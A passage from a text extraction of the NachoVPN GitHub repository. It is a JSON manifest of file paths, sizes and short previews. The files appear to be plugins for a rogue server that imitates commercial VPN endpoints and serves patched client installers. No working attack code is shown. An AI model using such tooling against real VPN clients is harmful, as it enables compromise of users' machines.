    "preview": "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <GetLauncherArgumentsResponse x"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/GetNextProtocolHandlerVersion.xml",
    "chars": 462,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope\n\txmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n\txmlns:xsi"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/GetSymmetricKey.xml",
    "chars": 432,
    "preview": "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <GetSymmetricKeyResponse xmlns="
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/UpdateStatusV2.xml",
    "chars": 509,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope\n\txmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n\txmlns:xsi"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/index.html",
    "chars": 331,
    "preview": "<html>\n    <body>\n        <script>\n            const guid = \"{{ guid }}\";\n            const sessionGuid = \"{{ session_gu"
  },
  {
    "path": "src/nachovpn/plugins/example/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/plugins/example/plugin.py",
    "chars": 974,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom flask import Flask, jsonify, request\nimport logging\n\nclass ExamplePlugin(VPN"
  },
  {
    "path": "src/nachovpn/plugins/netskope/__init__.py",
    "chars": 70,
    "preview": "from .plugin import NetskopePlugin\n\n__all__ = [\n    'NetskopePlugin'\n]"
  },
  {
    "path": "src/nachovpn/plugins/netskope/plugin.py",
    "chars": 47909,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom flask import Response, abort, request, send_file, jsonify\nfrom nachovpn.plug"
  },
  {
    "path": "src/nachovpn/plugins/netskope/templates/auth.html",
    "chars": 1284,
    "preview": "<!DOCTYPE html>\n<html lang=\"en\">\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta name=\"viewport\" content=\"width="
  },
  {
    "path": "src/nachovpn/plugins/paloalto/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/plugins/paloalto/msi_downloader.py",
    "chars": 4325,
    "preview": "import xml.etree.ElementTree as ET\nimport argparse\nimport requests\nimport sys\nimport os\n\nclass MSIDownloader:\n    def __"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/msi_patcher.py",
    "chars": 22586,
    "preview": "from cabarchive import CabArchive, CabFile\n\nimport logging\nimport argparse\nimport shutil\nimport os\nimport uuid\nimport wa"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/pkg_generator.py",
    "chars": 7267,
    "preview": "from Crypto.Hash import SHA\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\n\nfrom cryptography "
  },
  {
    "path": "src/nachovpn/plugins/paloalto/plugin.py",
    "chars": 24554,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom flask import Response, abort, request, redirect\nfrom nachovpn.plugins.paloal"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/getconfig.xml",
    "chars": 1667,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<response status=\"success\">\n  <need-tunnel>yes</need-tunnel>\n  <ssl-tunnel-url>/s"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/prelogin.xml",
    "chars": 448,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<prelogin-response>\n<status>Success</status>\n<ccusername></ccusername>\n<autosubm"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/pwresponse.xml",
    "chars": 8304,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<policy>\n  <portal-name>GP-portal</portal-name>\n  <portal-config-version>4100</po"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/sslvpn-login.xml",
    "chars": 727,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<jnlp>\n<application-desc>\n<argument></argument>\n<argument>{{ auth_cookie }}</arg"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/templates/sslvpn-prelogin.xml",
    "chars": 518,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<prelogin-response>\n<status>Success</status>\n<ccusername></ccusername>\n<autosubm"
  },
  {
    "path": "src/nachovpn/plugins/pulse/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "src/nachovpn/plugins/pulse/config_generator.py",
    "chars": 11409,
    "preview": "#!/usr/bin/env python3\nimport os\nimport struct\nimport ipaddress\n\nROUTE_SPLIT_INCLUDE = 0x07000010\nROUTE_SPLIT_EXCLUDE = "
  },
  {
    "path": "src/nachovpn/plugins/pulse/config_parser.py",
    "chars": 9970,
    "preview": "#!/usr/bin/env python3\nimport sys\n\nENC_AES_128_CBC = 2\nENC_AES_256_CBC = 5\n\nHMAC_MD5 = 1\nHMAC_SHA1 = 2\nHMAC_SHA256 = 3\n\n"
  },
  {
    "path": "src/nachovpn/plugins/pulse/funk_parser.py",
    "chars": 20012,
    "preview": "from io import BytesIO\nimport struct\nimport base64\nimport logging\nimport argparse\nimport zlib\nimport json\nimport time\n\nV"
  },
  {
    "path": "src/nachovpn/plugins/pulse/plugin.py",
    "chars": 43928,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom nachovpn.plugins.pulse.config_generator import VPNConfigGenerator, ESPConfig"
  },
  {
    "path": "src/nachovpn/plugins/pulse/test/example_rules.json",
    "chars": 525,
    "preview": "[\n    {\n        \"rulename\": \"AllowInsecureGuestAuth\",\n        \"subkey\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanWork"
  },
  {
    "path": "src/nachovpn/plugins/pulse/test/test_policy.py",
    "chars": 12437,
    "preview": "from nachovpn.plugins.pulse.funk_parser import FunkManager\nfrom nachovpn.plugins.pulse.plugin import AVP, EAPPacket, IFT"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/__init__.py",
    "chars": 67,
    "preview": "from .plugin import SonicWallPlugin\n\n__all__ = ['SonicWallPlugin']\n"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/files/NACAgent.c",
    "chars": 3603,
    "preview": "#include <windows.h>\n#include <wtsapi32.h>\n#include <userenv.h>\n#include <tlhelp32.h>\n#include <stdbool.h>\n\n#pragma comm"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/plugin.py",
    "chars": 11370,
    "preview": "from nachovpn.plugins import VPNPlugin\nfrom flask import Flask, jsonify, request, abort, send_file, make_response\nfrom c"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/launchextender.html",
    "chars": 33002,
    "preview": "<html><head><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'><title>Virtual Office</title><meta http-eq"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/launchplatform.html",
    "chars": 1033,
    "preview": "<html><head><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'><title>Virtual Office</title><meta http-eq"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/logout.html",
    "chars": 2803,
    "preview": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<me"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/welcome.html",
    "chars": 7882,
    "preview": "<!doctype html>\n<html>\n<head>\n<meta http-equiv='Content-Type' content='text/html;charset=UTF-8'>\n<title>Virtual Office</"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/wxacneg.html",
    "chars": 1118,
    "preview": "<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html;charset=UTF-8\">"
  },
  {
    "path": "src/nachovpn/server.py",
    "chars": 5144,
    "preview": "from nachovpn.core.request_handler import VPNStreamRequestHandler\nfrom nachovpn.core.plugin_manager import PluginManager"
  }
]

// ... and 1 more files (download for full content)

About this extraction

This page contains the full source code of the AmberWolfCyber/NachoVPN GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 72 files (410.4 KB), approximately 104.5k tokens, and a symbol index with 290 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!